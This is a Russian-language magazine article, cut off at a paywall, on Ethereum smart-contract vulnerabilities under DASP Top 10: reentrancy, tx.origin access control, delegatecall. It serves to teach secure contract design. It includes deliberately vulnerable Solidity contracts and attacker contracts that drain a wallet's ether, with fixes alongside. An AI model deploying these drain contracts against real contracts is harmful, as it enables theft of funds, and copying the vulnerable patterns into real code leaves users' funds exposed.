Количество смарт-контрактов в блокчейне Ethereum только за первую половину 2018 года выросло в два раза по сравнению с 2017-м. Соответственно, растет и множество уязвимостей, векторов атак на децентрализованные приложения. В этой статье мы попробуем упорядочить уязвимости аналогично OWASP Top 10. Кода тебя ждет немало, так что готовься — легко не будет. 🙂

Уже обнаружено множество уязвимых контрактов, которые доступны для взаимодействия и по сей день (об этом «Хакер» писал не так давно). И конечно, совершались атаки: самыми крупными хищениями стали 30 миллионов долларов из Parity и 53 миллиона долларов из DAO. И лишь в марте 2018 года организация NCC Group представила спецификацию уязвимостей децентрализованных приложений DASP (Decentralized Application Security Project) Top10.

Для начала давай вспомним, как устроены смарт-контракты в блокчейне Ethereum. В Ethereum существует два типа аккаунтов: внешние (аккаунты пользователей) и аккаунты контрактов, которые принято называть смарт-контрактами. Их различие состоит в том, что аккаунт контракта управляется только с помощью ассоциированного с ним программного кода, который выполняется на EVM (Ethereum Virtual Machine). Каждый смарт-контракт имеет свое хранилище и свою память.

Любое действие в блокчейне Ethereum выполняется с помощью транзакций: отправка ether с одного аккаунта на другой, создание контракта, обращение к функции контракта. Причем инициировать транзакции могут только внешние аккаунты, а контракты могут создавать транзакции только под действием полученных ими транзакций. За каждую транзакцию взимается комиссия, для этого введена специальная единица — gas. Комиссия рассчитывается как произведение цены gas и количества gas.

Пишутся контракты преимущественно на языке Solidity, который компилируется в байт-код и исполняется в EVM на всех узлах сети. На Solidity контракт выглядит как класс со своими методами и переменными. Обращаться к контракту можно, используя его ABI (Application Binary Interface).

А теперь давай подробно рассмотрим каждый тип уязвимостей в смарт-контрактах и дадим оценку спецификации DASP Top 10.

 

Reentrancy

Первое место в списке занимает уязвимость типа Reentrancy, также известная как рекурсивный вызов. Проблема кроется в том, что уязвимый контракт совершает вызов к другому контракту, при этом внешний контракт может делать ответный вызов функций уязвимого контракта внутри начального вызова. Рассмотрим простой контракт-кошелек, в котором пользователи могут хранить свой ether:

contract Vuln {
    mapping (address => uint) private balances;

    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawSomeMoney(uint _someMoney) public {
        require (_someMoney <= balances[msg.sender]);
        require(msg.sender.call.value(_someMoney)());
        balances[msg.sender] -= _someMoney;
    }
}

С первого взгляда найти уязвимость сложно, выглядит все логичным: функция withdrawSomeMoney() проверяет, что на счету аккаунта достаточно средств, затем отправляет их с помощью функции msg.sender.call.value() и, наконец, списывает отправленный ether со счета пользователя. Теперь рассмотрим атакующий контракт:

import "vuln.sol"
contract Xakep {
    Vuln public vuln;

    function withdrawFromVuln() {
        vuln.withdrawSomeMoney(100);
    }
    function () payable {
        vuln.withdrawSomeMoney(100);
    }
}

Контракт Xakep внутри функции withdrawFromVuln() вызывает функцию withdrawSomeMoney() контракта Vuln. Но при отправке токенов функцией msg.sender.call.value() вызывается fallback-функция контракта Xakep. Это функция без названия, которая в данном случае используется для получения контрактом ether, поэтому она отмечена модификатором payable. Внутри нее контракт Xakep снова вызывает функцию withdrawSomeMoney(), причем важно заметить, что с баланса аккаунта в кошельке ether еще не списался, значит, проверка достаточности баланса успешна, и мы снова попадаем в fallback-функцию. Так происходит, пока на контракте Vuln совсем не останется средств. Эксплуатация данной уязвимости привела DAO к потере около 50 миллионов долларов.

Безопасно перевести токены можно при помощи функции transfer(), но если все же необходимо использовать вызов аккаунта, то нужно сначала обновить баланс аккаунта, затем совершать вызов.

 

Управление доступом (Access Control)

Есть способы стать владельцем чужого контракта или, наоборот, заставить пользователя авторизоваться в необходимом злоумышленнику контракте. Все это уязвимости контроля доступа. Для функций в Solidity существуют спецификаторы видимости: private, publuc, internal, external. Функция без спецификатора автоматически считается public, то есть доступна для вызова отовсюду.

INFO

Private-функции и глобальные переменные доступны исключительно внутри своего контракта. К public-функциям и глобальным переменным можно обратиться как изнутри контракта, так и снаружи. Internal-функции и глобальные переменные могут быть доступны изнутри текущего контракта или из контракта-наследника. External-функции могут быть вызваны из других контрактов или через транзакции и не могут быть вызваны изнутри текущего контракта.

Использование неподходящих спецификаторов или неиспользование их совсем может привести к неблагоприятным последствиям. Например, вызов функции смены владельца контракта со спецификатором public позволяет любому аккаунту стать владельцем контракта. Также к данному типу уязвимостей относится использование tx.origin для определения аккаунта, вызвавшего контракт. Рассмотрим такой пример:

contract Wallet {
    address public owner;

    constructor (address _owner) {
    owner = _owner; 
    }

    function () public payable {} 

    function withdrawAll(address _luckyAddress) public {
        require(tx.origin == owner);
        _luckyAddress.transfer(this.balance); 
    }
}

Контракт Wallet представляет собой кошелек, все средства из которого может перевести на указанный адрес только его владелец, заданный при создании контракта. Обрати внимание на строку проверки владельца в функции withdrawAll. Теперь создадим атакующий контракт.

import "wallet.sol";
contract TrueXakep { 
    Wallet poorWallet; 
    address attacker; 

    constructor (Wallet _poorWallet, address _attackerAddress) { 
        poorWallet = _poorWallet; 
        attacker = _attackerAddress;
        }

    function () payable { 
        poorWallet.withdrawAll(attacker); 
    }
}

Используя социальную инженерию, можно заставить владельца контракта Wallet отправить контракту TrueXakep некоторое количество ether. В этом случае исполнится fallback-функция, из которой происходит вызов функции withdrawAll контракта Wallet. А теперь разберемся, какое значение имеет tx.origin. tx.origin — это глобальная переменная в Solidity, которая принимает значение адреса исходного аккаунта, вызвавшего функцию или отправившего транзакцию. В нашем случае tx.origin — это адрес владельца контракта Wallet, так как именно он породил последовательность вызовов. Таким образом, проверка успешно проходит, и весь ether с кошелька переводится злоумышленнику.

Чтобы такого не происходило, необходимо использовать переменную msg.sender для определения аккаунта, вызвавшего функцию. msg.sender — это адрес аккаунта, который непосредственно сделал вызов или отправил транзакцию. В данном случае это адрес контракта TrueXakep.

К этой категории уязвимостей также относится неправильное использование delegatecall. Это низкоуровневая функция, которая позволяет исполнять функции стороннего контракта в контексте вызывающего контракта. То есть при исполнении функции стороннего контракта используется хранилище вызывающего контракта, и значения msg.call и msg.value остаются первоначальными. Вторая атака на Parity основана на использовании delegatecall и повторной инициализации контракта-библиотеки, в результате чего пользователь смог стать его владельцем и удалить контракт. Все средства в Parity остались замороженными, так как функция вывода средств вызывалась из удаленного контракта. Сообщение о том, что пользователь случайно удалил контракт, находится на GitHub Parity.

Сообщение об удалении контракта Parity
Сообщение об удалении контракта Parity
 

Арифметические особенности (Arithmetic Issues)

Уязвимости целочисленного переполнения, как и в других языках, возникают из-за ограниченного размера памяти, выделенного на переменную. Максимальное значение для переменной типа uint (uint256) равно 2256−1, минимальное — 0. Выйти за эти границы не получится: значение либо обнулится (при переполнении вверх), либо станет максимальным (при переполнении вниз).

Мы не будем рассматривать простые примеры, в которых арифметические действия выполняются без проверок. Рассмотрим уязвимость в функции batchTransfer, которую используют многие реальные контракты.

Продолжение доступно только подписчикам

Материалы из последних выпусков можно покупать отдельно только через два месяца после публикации. Чтобы продолжить чтение, необходимо купить подписку.

Подпишись на «Хакер» по выгодной цене!

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

2 комментария

  1. defcon-russia

    19.09.2018 at 13:07

    Согласен с тем, что спецификация DASP нуждается в серьезной доработке и пересмотре образования некоторых групп уязвимостей. Спасибо за статью!

  2. r001

    22.09.2018 at 17:03

    Great article!

    There is an error in contract Vuln, in the first line of withdrawSomeMoney function. It should be a <= in the require statement.

    Keep up the good work!

Оставить мнение

Check Also

Целенаправленная социальная инженерия. Нестандартные техники введения в заблуждение

В предыдущей статье мы разобрали массовые атаки. Но их применимость ограничена: пентестер …